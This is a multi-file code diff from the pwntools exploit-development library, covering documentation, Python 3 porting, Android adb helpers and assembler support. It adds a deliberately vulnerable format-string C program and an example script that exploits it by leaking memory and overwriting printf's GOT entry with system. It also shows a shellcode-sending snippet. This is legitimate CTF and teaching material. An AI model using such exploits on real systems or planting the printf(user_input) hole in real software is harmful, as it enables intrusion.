[![Coveralls](https://img.shields.io/coveralls/github/Gallopsled/pwntools/dev?logo=coveralls)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
[![MIT License](https://img.shields.io/badge/license-MIT-blue.svg?style=flat)](http://choosealicense.com/licenses/mit/)
[![Twitter](https://img.shields.io/twitter/follow/Pwntools)](https://twitter.com/pwntools)
Pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
@@ -20,19 +21,17 @@ r.send(asm(shellcraft.sh()))
r.interactive()
```
# Try It Now!
You can now do a live demo of Pwntools, [right in your browser](https://demo.pwntools.com).
# Documentation
Our documentation is available at [docs.pwntools.com](https://docs.pwntools.com/)
A series of tutorials is also [available online](https://github.com/Gallopsled/pwntools-tutorial#readme)
To get you started, we've provided some example solutions for past CTF challenges in our [write-ups repository](https://github.com/Gallopsled/pwntools-write-ups).
# Installation
Pwntools is best supported on 64-bit Ubuntu LTE releases (12.04, 14.04, 16.04 and 18.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.). Python >= 2.7 is required (Python 3 suggested as best).
Pwntools is best supported on 64-bit Ubuntu LTE releases (14.04, 16.04, 18.04, and 20.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.). Python >= 2.7 is required (Python 3 suggested as best).
Most of the functionality of pwntools is self-contained and Python-only. You should be able to get running quickly with
@@ -40,7 +39,7 @@ Most of the functionality of pwntools is self-contained and Python-only. You sh
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools.git@dev3
python3 -m pip install --upgrade pwntools
```
However, some of the features (assembling/disassembling foreign architectures) require non-Python dependencies. For more information, see the [complete installation instructions here](https://docs.pwntools.com/en/stable/install.html).
+5 -8
View File
@@ -88,6 +88,10 @@ class stdout(object):
def __setattr__(self, name, value):
return setattr(sys.stdout, name, value)
pwnlib.context.ContextType.defaults['log_console'] = stdout()
github_actions = os.environ.get('USER') == 'runner'
travis_ci = os.environ.get('USER') == 'travis'
branch_dev = os.environ.get('GITHUB_BASE_REF') == 'dev'
'''
autoclass_content = 'both'
@@ -337,7 +341,7 @@ def linkcode_resolve(domain, info):
val = mod
for k in info['fullname'].split('.'):
val = getattr(val, k, None)
if val == None:
if val is None:
break
# Special case for shellcraft
@@ -407,13 +411,6 @@ def py2_doctest_init(self, checker=None, verbose=None, optionflags=0):
checker = Py2OutputChecker()
doctest.DocTestRunner.__init__(self, checker, verbose, optionflags)
class EndlessLoop(Exception): pass
def alrm_handler(sig, frame):
signal.alarm(180) # three minutes
raise EndlessLoop()
signal.signal(signal.SIGALRM, alrm_handler)
signal.alarm(600) # ten minutes
if 'doctest' in sys.argv:
def setup(app):
app.connect('autodoc-skip-member', dont_skip_any_doctests)
+16 -12
View File
@@ -1,25 +1,29 @@
.. testsetup:: *
from pwn import *
:mod:`pwnlib.encoders` --- Encoding Shellcode
===============================================
.. automodule:: pwnlib.encoders
:members:
.. automodule:: pwnlib.encoders.encoder
:members:
.. automodule:: pwnlib.encoders.amd64
:members:
.. automodule:: pwnlib.encoders.arm
:members:
.. automodule:: pwnlib.encoders.i386
.. automodule:: pwnlib.encoders.i386.ascii_shellcode
:members:
:special-members:
:exclude-members: __init__
.. automodule:: pwnlib.encoders.i386.xor
:members:
.. automodule:: pwnlib.encoders.i386.delta
:members:
.. automodule:: pwnlib.encoders.amd64.delta
:members:
.. automodule:: pwnlib.encoders.arm.xor
:members:
.. automodule:: pwnlib.encoders.mips.xor
:members:
+1 -1
View File
@@ -39,7 +39,7 @@ repo <https://github.com/Gallopsled/pwntools-binutils/>`__.
.. code-block:: bash
$ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb
$ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb
Alternate OSes
^^^^^^^^^^^^^^^^
+10 -3
View File
@@ -17,6 +17,13 @@ assemble, disassemble, pack, unpack, and many other things with a single functio
A full list of everything that is imported is available on :doc:`globals`.
Tutorials
---------
A series of tutorials for Pwntools exists online, at
https://github.com/Gallopsled/pwntools-tutorial#readme
Making Connections
------------------
@@ -188,10 +195,10 @@ Never write another hexdump, thanks to :mod:`pwnlib.util.fiddling`.
Find offsets in your buffer that cause a crash, thanks to :mod:`pwnlib.cyclic`.
>>> print(cyclic(20).decode())
aaaabaaacaaadaaaeaaa
>>> cyclic(20)
b'aaaabaaacaaadaaaeaaa'
>>> # Assume EIP = 0x62616166 (b'faab' which is pack(0x62616166)) at crash time
>>> print(cyclic_find(b'faab'))
>>> cyclic_find(b'faab')
120
ELF Manipulation
+10
View File
@@ -0,0 +1,10 @@
.. testsetup:: *
from pwn import *
import tempfile
:mod:`pwnlib.rop.ret2dlresolve` --- Return to dl_resolve
========================================================
.. automodule:: pwnlib.rop.ret2dlresolve
:members:
+16 -16
View File
@@ -17,19 +17,19 @@
count ,
cycle ,
dropwhile ,
filter ,
filterfalse ,
groupby ,
ifilter ,
ifilterfalse ,
imap ,
islice ,
izip ,
izip_longest ,
map ,
permutations ,
product ,
repeat ,
starmap ,
takewhile ,
tee
tee ,
zip ,
zip_longest
.. function:: chain
@@ -63,29 +63,29 @@
Alias for :func:`itertools.groupby`
.. function:: ifilter
.. function:: filter
Alias for :func:`itertools.ifilter`
Alias for python3-style :func:`filter`
.. function:: ifilterfalse
.. function:: filterfalse
Alias for :func:`itertools.ifilterfalse`
Alias for :func:`itertools.filterfalse`
.. function:: imap
.. function:: map
Alias for :func:`itertools.imap`
Alias for python3-style :func:`map`
.. function:: islice
Alias for :func:`itertools.islice`
.. function:: izip
.. function:: zip
Alias for :func:`itertools.izip`
Alias for python3-style :func:`zip`
.. function:: izip_longest
.. function:: zip_longest
Alias for :func:`itertools.izip_longest`
Alias for :func:`itertools.zip_longest`
.. function:: permutations
+1 -1
View File
@@ -25,4 +25,4 @@ atexit.register(r.clean_and_log)
while True:
line = r.recvline()
print(re.findall('^prefix (\S+)$', line)[0])
print(re.findall(r'^prefix (\S+)$', line)[0])
+4 -2
View File
@@ -1,9 +1,11 @@
CFLAGS := -Wno-unused-result -Wno-format-security
TARGETS := printf.mips printf.mips64 printf.mipsel printf.mips64el printf.arm printf.aarch64 \
printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32
printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32 \
printf-loop.native printf-loop.native32
.PHONY: run
run: all
./exploit2.py
./exploit.py
.PHONY: all
@@ -43,7 +45,7 @@ clean:
%.native: %.c
gcc $(CFLAGS) -o "$@" $^
%.native32: %.c
i686-linux-gnu-gcc $(CFLAGS) -o "$@" $^
gcc $(CFLAGS) -m32 -o "$@" $^
# install deps on ubuntu xenial
.PHONY: install-apt
+2 -2
View File
@@ -1,4 +1,4 @@
#!/usr/bin/env python2
#!/usr/bin/env python
from pwn import *
@context.quiet
@@ -15,7 +15,7 @@ def exploit(binary):
addr = unpack(p.recv(context.bytes))
payload = fmtstr_payload(offset, {addr: p32(0x1337babe)})
p.sendline(payload)
p.recvuntil("DONE")
p.recvuntil(b"DONE")
print(hex(u32(p.recv(4))))
binaries = [
+68
View File
@@ -0,0 +1,68 @@
#!/usr/bin/env python
"""
An example combining fmtstr and dynelf to automatically exploit a PIE binary.
"""
from pwn import *
def exploit(e):
p = e.process()
def executer(fmt):
p.sendline(fmt)
p.stdin.flush()
r = p.recvuntil(b'again=\n')
return r
f = FmtStr(executer)
# find some code pointer on stack
addrbits = min(context.bits, 48) # address space is no larger than 48-bit
min_code_ptr = 0x10 << addrbits-8
max_code_ptr = 0x7e << addrbits-8
for off in range(64):
random_code_ptr = f.leak_stack(off)
packed = bytearray(pack(random_code_ptr))
chars = set(packed) - {0}
# simple heuristic
if (min_code_ptr < random_code_ptr < max_code_ptr
and max(chars) > 0x80 and min(chars) < 0x80
and not hex(random_code_ptr).startswith('0x7ff')):
break
log.info("Code ptr: %#x"%random_code_ptr)
online_elf = DynELF(f.leaker, pointer=random_code_ptr, elf=e, libcdb=False)
print("Stack: %#x" % (online_elf.stack(),))
print("Heap: %#x" % (online_elf.heap(),))
info("Finding base address of the executable")
for ref in e.sym:
if not ref:
continue
# if we have the address of a symbol on remote, we know the offset
ref_addr = online_elf.lookup(ref)
if ref_addr:
print("%s: %r" % (ref, ref_addr))
break
system = online_elf.lookup('system', 'libc')
print("system: %#x" % system)
# fix up the address
e.address += ref_addr - e.sym[ref]
# actual exploit: overwrite printf with system
f.write(e.sym.got.printf, system)
f.execute_writes()
p.sendline(b'echo ::$(( 16 * 16 ))')
p.recvuntil(b'::')
line = p.recvline()
assert line == b'256\n'
p.sendline(b'exit')
p.close()
for context.binary in 'printf-loop.native32', 'printf-loop.native':
exploit(context.binary)
+14
View File
@@ -0,0 +1,14 @@
#include <stdio.h>
#include <unistd.h>
int main() {
while (1) {
char str[256];
int n = read(STDIN_FILENO, str, sizeof(str) - 1);
str[n] = '\0';
printf(str);
printf("\n=try again=\n");
fflush(stdout);
}
return 0;
}
BIN
View File
Binary file not shown.
Binary file not shown.
+2 -2
View File
@@ -21,11 +21,11 @@ c2 = PathCompleter(mask = '*.py')
with c1:
print('type "exit" to exit')
while True:
s = term.readline.readline(prompt = '> ').strip()
s = str_input(prompt = '> ').strip()
if s in ('exit', 'enough!'):
break
print('You wrote', s)
with c2:
print('choose a file')
s = term.readline.readline(prompt = text.bold_green('$ ')).strip()
s = str_input(prompt = text.bold_green('$ ')).strip()
print('You picked', s)
+4 -2
View File
@@ -3,11 +3,12 @@ context.arch='aarch64'
frame = SigreturnFrame()
registers = ['x%i' % i for i in range(0, 31)]
registers += ['sp', 'pc']
registers += ['pc']
for index, register in enumerate(registers):
setattr(frame, register, index)
frame.sp = 64
assembly = '\n'.join([
shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
@@ -23,8 +24,9 @@ assert io.poll() == -11
corefile = io.corefile
for index, register in enumerate(registers):
for register in registers:
value = getattr(corefile, register)
index = getattr(frame, register)
if index != value:
log.error("%s != %i (%i)" % (register, index, value))
else:
+4 -2
View File
@@ -4,11 +4,12 @@ context.arch='arm'
frame = SigreturnFrame()
registers = ['r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6', 'r7',
'r8', 'r9', 'r10', 'fp', 'ip', 'sp', 'pc', 'lr']
'r8', 'r9', 'r10', 'fp', 'ip', 'pc', 'lr']
for index, register in enumerate(registers):
setattr(frame, register, index)
frame.sp = 64
assembly = '\n'.join([
shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
@@ -24,8 +25,9 @@ assert io.poll() == -11
corefile = io.corefile
for index, register in enumerate(registers):
for register in registers:
value = getattr(corefile, register)
index = getattr(frame, register)
if index != value:
log.error("%s != %i (%i)" % (register, index, value))
else:
+1 -1
View File
@@ -12,7 +12,7 @@ h = log.waitfor('spinners running', status = str(n))
hs = []
print('type "q" to quit')
while True:
s = raw_input('> ')
s = str_input('> ').strip()
if s == 'q':
break
hs.append(log.waitfor(s, status = 'running'))
+1 -1
View File
@@ -9,5 +9,5 @@ splash()
h = log.waitfor("You wrote", status = "--")
while True:
l = raw_input('> ')
l = str_input('> ').strip()
h.status(l.upper())
+9
View File
@@ -36,5 +36,14 @@ print(shell.echo("single string"))
print(shell.echo(["list","of","strings"]))
print(shell["echo single statement"])
# ssh.process() is the most flexible way to run a command)
io = shell.process(['/bin/bash', '-c', 'echo Hello $FOO'],
env={'FOO': 'World'}, # Set environment
stderr='/dev/null', # Override file descriptors
aslr=False, # Disable ASLR on processes
setuid=False, # Disable setuid bit so processes can be debugged
shell=False) # Enable or disable shell evaluation
print(io.recvall())
# Show off the interactive shell
shell.interactive()
+1 -1
View File
@@ -1 +1 @@
xenial
bionic
+1 -1
View File
@@ -1,6 +1,6 @@
FROM pwntools/pwntools:stable
USER root
RUN pip install --upgrade git+https://github.com/Gallopsled/pwntools@beta
RUN pip3 install --upgrade git+https://github.com/Gallopsled/pwntools@beta
RUN PWNLIB_NOTERM=1 pwn update
USER pwntools
+34
View File
@@ -0,0 +1,34 @@
############################################################
# Dockerfile to build Pwntools container
# Based on Ubuntu
############################################################
FROM ubuntu:bionic
MAINTAINER Maintainer Gallopsled et al.
RUN apt-get update \
&& apt-get install -y \
build-essential \
git \
libssl-dev \
libffi-dev \
python3 \
python3-pip \
python3-dev \
qemu-user-static \
binutils-arm-linux-gnueabihf \
binutils-aarch64-linux-gnu \
binutils-mips-linux-gnu \
binutils-mipsel-linux-gnu \
binutils-powerpc-linux-gnu \
binutils-powerpc64-linux-gnu \
binutils-sparc64-linux-gnu \
&& pip3 install --upgrade pip \
&& python3 -m pip install --upgrade pwntools \
&& PWNLIB_NOTERM=1 pwn update \
&& apt-get install -y sudo \
&& useradd -m pwntools \
&& passwd --delete --unlock pwntools \
&& echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
USER pwntools
WORKDIR /home/pwntools
+1 -1
View File
@@ -1,6 +1,6 @@
FROM pwntools/pwntools:stable
USER root
RUN pip install --upgrade git+https://github.com/Gallopsled/pwntools@dev
RUN pip3 install --upgrade git+https://github.com/Gallopsled/pwntools@dev
RUN PWNLIB_NOTERM=1 pwn update
USER pwntools
+1 -1
View File
@@ -1,6 +1,6 @@
FROM pwntools/pwntools:base
USER root
RUN pip install --upgrade git+https://github.com/Gallopsled/pwntools@stable
RUN pip3 install --upgrade git+https://github.com/Gallopsled/pwntools@stable
RUN PWNLIB_NOTERM=1 pwn update
USER pwntools
+5 -2
View File
@@ -5,6 +5,7 @@ import math
import operator
import os
import re
import requests
import socks
import signal
import string
@@ -31,14 +32,16 @@ from pwnlib.exception import PwnlibException
from pwnlib.gdb import attach, debug, debug_assembly, debug_shellcode
from pwnlib.filepointer import *
from pwnlib.flag import *
from pwnlib.fmtstr import FmtStr, fmtstr_payload
from pwnlib.fmtstr import FmtStr, fmtstr_payload, fmtstr_split
from pwnlib.log import getLogger
from pwnlib.memleak import MemLeak, RelativeMemLeak
from pwnlib.regsort import *
from pwnlib.replacements import *
from pwnlib.rop import ROP
from pwnlib.rop.srop import SigreturnFrame
from pwnlib.rop.ret2dlresolve import Ret2dlresolvePayload
from pwnlib.runner import *
from pwnlib.term.readline import str_input
from pwnlib.timeout import Timeout
from pwnlib.tubes.listen import listen
from pwnlib.tubes.process import process, PTY, PIPE, STDOUT
@@ -78,4 +81,4 @@ info = log.info
debug = log.debug
success = log.success
__all__ = [x for x in globals().keys() if x != '__name__']
__all__ = [x for x in tuple(globals()) if x != '__name__']
+102 -36
View File
@@ -75,8 +75,10 @@ log = getLogger(__name__)
def adb(argv, *a, **kw):
r"""Returns the output of an ADB subcommand.
>>> adb.adb(['get-serialno'])
>>> adb.adb('get-serialno')
b'emulator-5554\n'
>>> adb.adb(['shell', 'uname']) # it is better to use adb.process
b'Linux\n'
"""
if isinstance(argv, (bytes, six.text_type)):
argv = [argv]
@@ -198,6 +200,10 @@ def uptime():
Returns:
Uptime of the device, in seconds
Example:
>>> adb.uptime() > 3 # normally AVD takes ~7 seconds to boot
True
"""
up, idle = map(float, read('/proc/uptime').split())
return up
@@ -209,10 +215,15 @@ def boot_time():
Returns:
Boot time of the device, in Unix time, rounded to the
nearest second.
Example:
>>> import time
>>> adb.boot_time() < time.time()
True
"""
for line in read('/proc/stat').splitlines():
name, value = line.split(None, 1)
if name == 'btime':
if name == b'btime':
return int(value)
class AdbDevice(Device):
@@ -662,9 +673,9 @@ def makedirs(path):
Examples:
>>> adb.makedirs('/data/local/tmp/this/is/a/directory/heirarchy')
>>> adb.makedirs('/data/local/tmp/this/is/a/directory/hierarchy')
>>> adb.listdir('/data/local/tmp/this/is/a/directory')
['heirarchy']
['hierarchy']
"""
if path != '/':
makedirs(os.path.dirname(path))
@@ -816,17 +827,18 @@ def which(name, all = False, *a, **kw):
"""
# Unfortunately, there is no native 'which' on many phones.
which_cmd = '''
echo $PATH | while read -d: directory; do
[ -x "$directory/{name}" ] || continue;
echo -n "$directory/{name}\\x00";
done
(IFS=:
for directory in $PATH; do
[ -x "$directory/{name}" ] || continue;
echo -n "$directory/{name}\\x00";
done
)
[ -x "{name}" ] && echo -n "$PWD/{name}\\x00"
'''.format(name=name)
which_cmd = which_cmd.strip()
data = process(['sh','-c', which_cmd], *a, **kw).recvall()
if not hasattr(data, 'encode'):
data = data.decode('utf-8')
data = context._decode(data)
result = []
for path in data.split('\x00'):
@@ -849,6 +861,12 @@ done
@with_device
def whoami():
"""Returns current shell user
Example:
>>> adb.whoami()
b'root'
"""
return process(['sh','-ic','echo $USER']).recvall().strip()
@with_device
@@ -896,7 +914,12 @@ def pidof(name):
@with_device
def proc_exe(pid):
"""Returns the full path of the executable for the provided PID."""
"""Returns the full path of the executable for the provided PID.
Example:
>>> adb.proc_exe(1)
b'/init'
"""
with context.quiet:
io = process(['realpath','/proc/%d/exe' % pid])
data = io.recvall().strip()
@@ -912,24 +935,23 @@ def getprop(name=None):
Returns:
If ``name`` is not specified, a ``dict`` of all properties is returned.
Otherwise, a string is returned with the contents of the named property.
Example:
>>> adb.getprop() # doctest: +ELLIPSIS
{...}
"""
with context.quiet:
if name:
result = process(['getprop', name]).recvall().strip()
if not hasattr(result, 'encode'):
result = result.decode('utf-8')
result = context._decode(result)
return result
result = process(['getprop']).recvall()
if not hasattr(result, 'encode'):
result = result.decode('utf-8')
result = context._decode(result)
expr = r'\[([^\]]+)\]: \[(.*)\]'
props = {}
for line in result.splitlines():
if not line.startswith('['):
continue
@@ -960,7 +982,7 @@ def listdir(directory='/'):
Otherwise, less files may be returned due to restrictive SELinux
policies on adbd.
"""
return list(sorted(AdbClient().list(directory)))
return sorted(AdbClient().list(directory))
@with_device
def fastboot(args, *a, **kw):
@@ -1028,6 +1050,11 @@ class Kernel(object):
@property
def address(self):
"""Returns kernel address
Example:
>>> hex(adb.kernel.address) # doctest: +ELLIPSIS
'0x...000'
"""
return self.symbols['_text']
@property
@@ -1050,7 +1077,7 @@ class Kernel(object):
self._kallsyms = {}
root()
write('/proc/sys/kernel/kptr_restrict', '1')
self._kallsyms = read('/proc/kallsyms')
self._kallsyms = read('/proc/kallsyms').decode('ascii')
return self._kallsyms
@property
@@ -1148,8 +1175,12 @@ class Property(object):
setprop(attr, value)
def __eq__(self, other):
# Allow simple comparison, e.g.:
# adb.properties.ro.oem_unlock_supported == "1"
"""Allow simple comparison
Example:
>>> adb.properties.ro.build.version.sdk == "24"
True
"""
if isinstance(other, six.string_types):
return str(self) == other
return super(Property, self).__eq__(other)
@@ -1232,7 +1263,24 @@ def _generate_ndk_project(file_list, abi='arm-v7a', platform_version=21):
return root
def compile(source):
"""Compile a source file or project with the Android NDK."""
r"""Compile a source file or project with the Android NDK.
Example:
>>> temp = tempfile.mktemp('.c')
>>> write(temp, '''
... #include <stdio.h>
... static char buf[4096];
... int main() {
... FILE *fp = fopen("/proc/self/maps", "r");
... int n = fread(buf, 1, sizeof(buf), fp);
... fwrite(buf, 1, n, stdout);
... return 0;
... }''')
>>> filename = adb.compile(temp)
>>> sent = adb.push(filename, "/data/local/tmp")
>>> adb.process(sent).recvall() # doctest: +ELLIPSIS
b'... /system/bin/linker\n...'
"""
ndk_build = misc.which('ndk-build')
if not ndk_build:
@@ -1279,7 +1327,7 @@ def compile(source):
result = io.recvall()
if 0 != io.poll():
log.error("Build failed:\n%s" % result)
log.error("Build failed:\n%s", result)
# Find all of the output files
output = glob.glob(os.path.join(lib, '*', '*'))
@@ -1329,36 +1377,57 @@ def find(top, name):
@with_device
def readlink(path):
path = process(['readlink', path]).recvall()
path = process(['realpath', path]).recvall()
# Readlink will emit a single newline
# We can't use the '-n' flag since old versions don't support it
if path.endswith('\n'):
if path.endswith(b'\n'):
path = path[:-1]
return path
return path.decode()
class Partitions(object):
"""Enable access to partitions
Example:
>>> hex(adb.partitions.vda.size) # doctest: +ELLIPSIS
'0x...000'
"""
@property
@context.quietfunc
def by_name_dir(self):
return next(find('/dev/block/platform','by-name'))
try:
return next(find('/dev/block/platform','by-name'))
except StopIteration:
return '/dev/block'
@context.quietfunc
def __dir__(self):
return list(self)
@context.quietfunc
def iter_proc_partitions(self):
for line in read('/proc/partitions').splitlines():
if not line.strip():
continue
major, minor, blocks, name = line.split(None, 4)
yield blocks, name.decode()
@context.quietfunc
@with_device
def __iter__(self):
root()
# Find all named partitions
for name in listdir(self.by_name_dir):
yield name
names = set(listdir(self.by_name_dir))
# Find all unnamed partitions
for _, name in self.iter_proc_partitions():
names.add(name)
return iter(names)
def __getattr__(self, attr):
if name.startswith("_"):
if attr.startswith("_"):
raise AttributeError(attr)
for name in self:
@@ -1375,11 +1444,8 @@ class Partitions(object):
devname = os.path.basename(devpath)
# Get the size of the partition
for line in read('/proc/partitions').splitlines():
if not line.strip():
continue
major, minor, blocks, name = line.split(None, 4)
if devname == name:
for blocks, name in self.iter_proc_partitions():
if name in (devname, attr):
break
else:
log.error("Could not find size of partition %r" % name)
+2 -1
View File
@@ -4,6 +4,7 @@ from __future__ import division
import ctypes
import io
import os
import six
import sys
from pwnlib.log import getLogger
@@ -64,7 +65,7 @@ class BootloaderImage(object):
Returns:
Contents of the image.
"""
if isinstance(index_or_name, int):
if isinstance(index_or_name, six.integer_types):
index = index_or_name
else:
for i in range(len(self.img_info)):
-2
View File
@@ -1,5 +1,3 @@
#!/usr/bin/env python2
"""
Pwntools exposes several magic command-line arguments and environment
variables when operating in `from pwn import *` mode.
+35 -14
View File
@@ -167,6 +167,9 @@ def which_binutils(util):
'i386': ['x86_64', 'amd64'],
'i686': ['x86_64', 'amd64'],
'amd64': ['x86_64', 'i386'],
'mips64': ['mips'],
'powerpc64': ['powerpc'],
'sparc64': ['sparc'],
}.get(arch, [])
# If one of the candidate architectures matches the native
@@ -190,16 +193,18 @@ def which_binutils(util):
for gutil in utils:
# e.g. objdump
if arch is None:
pattern = gutil
patterns = [gutil]
# e.g. aarch64-linux-gnu-objdump
# e.g. aarch64-linux-gnu-objdump, avr-objdump
else:
pattern = '%s*linux*-%s' % (arch,gutil)
patterns = ['%s*linux*-%s' % (arch, gutil),
'%s-%s' % (arch, gutil)]
for dir in environ['PATH'].split(':'):
res = sorted(glob(path.join(dir, pattern)))
if res:
return res[0]
for pattern in patterns:
for dir in environ['PATH'].split(':'):
res = sorted(glob(path.join(dir, pattern)))
if res:
return res[0]
# No dice!
print_binutils_instructions(util, context)
@@ -245,9 +250,9 @@ def _assembler():
stderr=subprocess.STDOUT, universal_newlines=True)
version = re.search(r' (\d\.\d+)', result).group(1)
if version < '2.19':
log.warn_once('Your binutils version is too old and may not work!\n' + \
'Try updating with: https://docs.pwntools.com/en/stable/install/binutils.html\n' + \
'Reported Version: %r' % result.strip())
log.warn_once('Your binutils version is too old and may not work!\n'
'Try updating with: https://docs.pwntools.com/en/stable/install/binutils.html\n'
'Reported Version: %r', result.strip())
return assembler
@@ -322,15 +327,18 @@ def _bfdname():
'amd64' : 'elf64-x86-64',
'arm' : 'elf32-%sarm' % E,
'thumb' : 'elf32-%sarm' % E,
'avr' : 'elf32-avr',
'mips' : 'elf32-trad%smips' % E,
'mips64' : 'elf64-trad%smips' % E,
'alpha' : 'elf64-alpha',
'cris' : 'elf32-cris',
'ia64' : 'elf64-ia64-%s' % E,
'm68k' : 'elf32-m68k',
'msp430' : 'elf32-msp430',
'powerpc' : 'elf32-powerpc',
'powerpc64' : 'elf64-powerpc',
'vax' : 'elf32-vax',
's390' : 'elf%d-s390' % context.bits,
'sparc' : 'elf32-sparc',
'sparc64' : 'elf64-sparc',
}
@@ -344,10 +352,13 @@ def _bfdname():
def _bfdarch():
arch = context.arch
convert = {
'i386': 'i386',
'amd64': 'i386:x86-64',
'thumb': 'arm',
'ia64': 'ia64-elf64'
'amd64': 'i386:x86-64',
'i386': 'i386',
'ia64': 'ia64-elf64',
'mips64': 'mips',
'powerpc64': 'powerpc',
'sparc64': 'sparc',
'thumb': 'arm',
}
if arch in convert:
@@ -637,6 +648,10 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
b'H\xc7\xc0\x17\x00\x00\x00'
>>> asm("mov r0, #SYS_select", arch = 'arm', os = 'linux', bits=32)
b'R\x00\xa0\xe3'
>>> asm("mov #42, r0", arch = 'msp430')
b'0@*\x00'
>>> asm("la %r0, 42", arch = 's390', bits=64)
b'A\x00\x00*'
"""
result = ''
@@ -749,6 +764,12 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
>>> print(disasm(unhex('656664676665400F18A4000000000051'), byte=0, arch='amd64'))
0: gs data16 fs data16 rex nop/reserved BYTE PTR gs:[eax+eax*1+0x0]
f: push rcx
>>> print(disasm(unhex('01000000'), arch='sparc64'))
0: 01 00 00 00 nop
>>> print(disasm(unhex('60000000'), arch='powerpc64'))
0: 60 00 00 00 nop
>>> print(disasm(unhex('00000000'), arch='mips64'))
0: 00000000 nop
"""
result = ''
+2 -1
View File
@@ -18,5 +18,6 @@ __all__ = [
'scramble',
'shellcraft',
'unhex',
'update'
'update',
'version'
]
+3
View File
@@ -5,6 +5,9 @@ from __future__ import division
import argparse
import sys
import pwnlib
pwnlib.args.free_form = False
from pwn import *
from pwnlib.commandline import common
Regular → Executable
+12 -24
View File
@@ -4,7 +4,6 @@ from __future__ import division
import argparse
import functools
import os
import re
import pwnlib
@@ -19,25 +18,22 @@ p = common.parser_commands.add_parser(
formatter_class = argparse.RawDescriptionHelpFormatter,
)
group = p.add_mutually_exclusive_group()
group.add_argument(
p.add_argument(
'-e', '--exact',
metavar = 'constant',
# nargs = 1,
default = None,
help = 'Do an exact match for a constant instead of searching for a regex',
action='store_true',
help='Do an exact match for a constant instead of searching for a regex',
)
group.add_argument(
p.add_argument(
'regex',
nargs = '?',
default = '',
help = 'The regex matching constant you want to find',
help='The regex matching constant you want to find',
)
p.add_argument(
'constant',
nargs = '?',
default = None,
type = safeeval.expr,
help = 'The constant to find',
)
@@ -65,7 +61,7 @@ p.add_argument(
def main(args):
if args.exact:
# This is the simple case
print(cpp(args.exact).strip())
print(cpp(args.regex).strip())
else:
# New we search in the right module.
# But first: We find the right module
@@ -80,20 +76,12 @@ def main(args):
else:
matcher = re.compile(args.regex)
# Evaluate the given constant
if args.constant:
try:
constant = safeeval.expr(args.constant)
except:
log.error("Could not evaluate constant %r" % args.constant)
else:
constant = None
# The found matching constants and the length of the longest string
out = []
maxlen = 0
constant = args.constant
for k in dir(mod):
# No python stuff
if k.endswith('__') and k.startswith('__'):
@@ -104,7 +92,7 @@ def main(args):
continue
# Check the constant
if constant != None:
if constant is not None:
val = getattr(mod, k)
if args.mask_mode:
if constant & val != val:
@@ -124,7 +112,7 @@ def main(args):
# If we are in match_mode, then try to find a combination of
# constants that yield the exact given value
# We do not want to find combinations using the value 0.
if not (constant == None or constant == 0) and args.mask_mode:
if constant and args.mask_mode:
mask = constant
good = []
out = [(v, k) for v, k in out if v != 0]
+7 -6
View File
@@ -43,7 +43,7 @@ parser.add_argument(
help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,
)
group = parser.add_mutually_exclusive_group(required = True)
group = parser.add_mutually_exclusive_group(required=False)
group.add_argument(
'-l', '-o', '--offset', '--lookup',
dest = 'lookup',
@@ -53,9 +53,10 @@ group.add_argument(
group.add_argument(
'count',
type = int,
nargs = '?',
help = 'Number of characters to print'
type=int,
nargs='?',
default=None,
help='Number of characters to print'
)
def main(args):
@@ -69,7 +70,7 @@ def main(args):
pat = int(pat, 0)
except ValueError:
pass
pat = flat(pat)
pat = flat(pat, bytes=args.length)
if len(pat) != subsize:
log.critical('Subpattern must be %d bytes' % subsize)
@@ -90,7 +91,7 @@ def main(args):
want = args.count
result = cyclic(want, alphabet, subsize)
got = len(result)
if got < want:
if want is not None and got < want:
log.failure("Alphabet too small (max length = %i)" % got)
out = getattr(sys.stdout, 'buffer', sys.stdout)
+1 -1
View File
@@ -45,4 +45,4 @@ def main(args):
print(os.strerror(value))
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
common.main(__file__)
+1 -1
View File
@@ -26,4 +26,4 @@ def main(args):
print(enhex(data))
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
common.main(__file__)
+2
View File
@@ -21,6 +21,7 @@ from pwnlib.commandline import shellcraft
from pwnlib.commandline import template
from pwnlib.commandline import unhex
from pwnlib.commandline import update
from pwnlib.commandline import version
from pwnlib.commandline.common import parser
from pwnlib.context import context
@@ -43,6 +44,7 @@ commands = {
'template': template.main,
'unhex': unhex.main,
'update': update.main,
'version': version.main,
}
def main():
+4 -4
View File
@@ -85,12 +85,12 @@ def main(args):
text.when = color
if skip:
if infile == sys.stdin:
infile.read(skip)
else:
try:
infile.seek(skip, os.SEEK_CUR)
except IOError:
infile.read(skip)
if count:
if count != -1:
infile = io.BytesIO(infile.read(count))
hl = []
+2 -2
View File
@@ -80,8 +80,8 @@ def main(args):
parser.print_usage()
sys.exit(0)
data = sys.stdin.read()
output = data
stdin_buffer = getattr(sys.stdin, 'buffer', sys.stdin)
output = stdin_buffer.read()
fmt = args.format or ('hex' if tty else 'raw')
formatters = {'r':bytes, 'h':enhex, 's':repr}
+3 -3
View File
@@ -198,11 +198,11 @@ def main(args):
common.parser.print_usage()
exit()
if args.shellcode not in shellcraft.templates:
try:
func = get_template(args.shellcode)
except AttributeError:
log.error("Unknown shellcraft template %r. Use --list to see available shellcodes." % args.shellcode)
func = get_template(args.shellcode)
if args.show:
# remove doctests
doc = []
+18 -2
View File
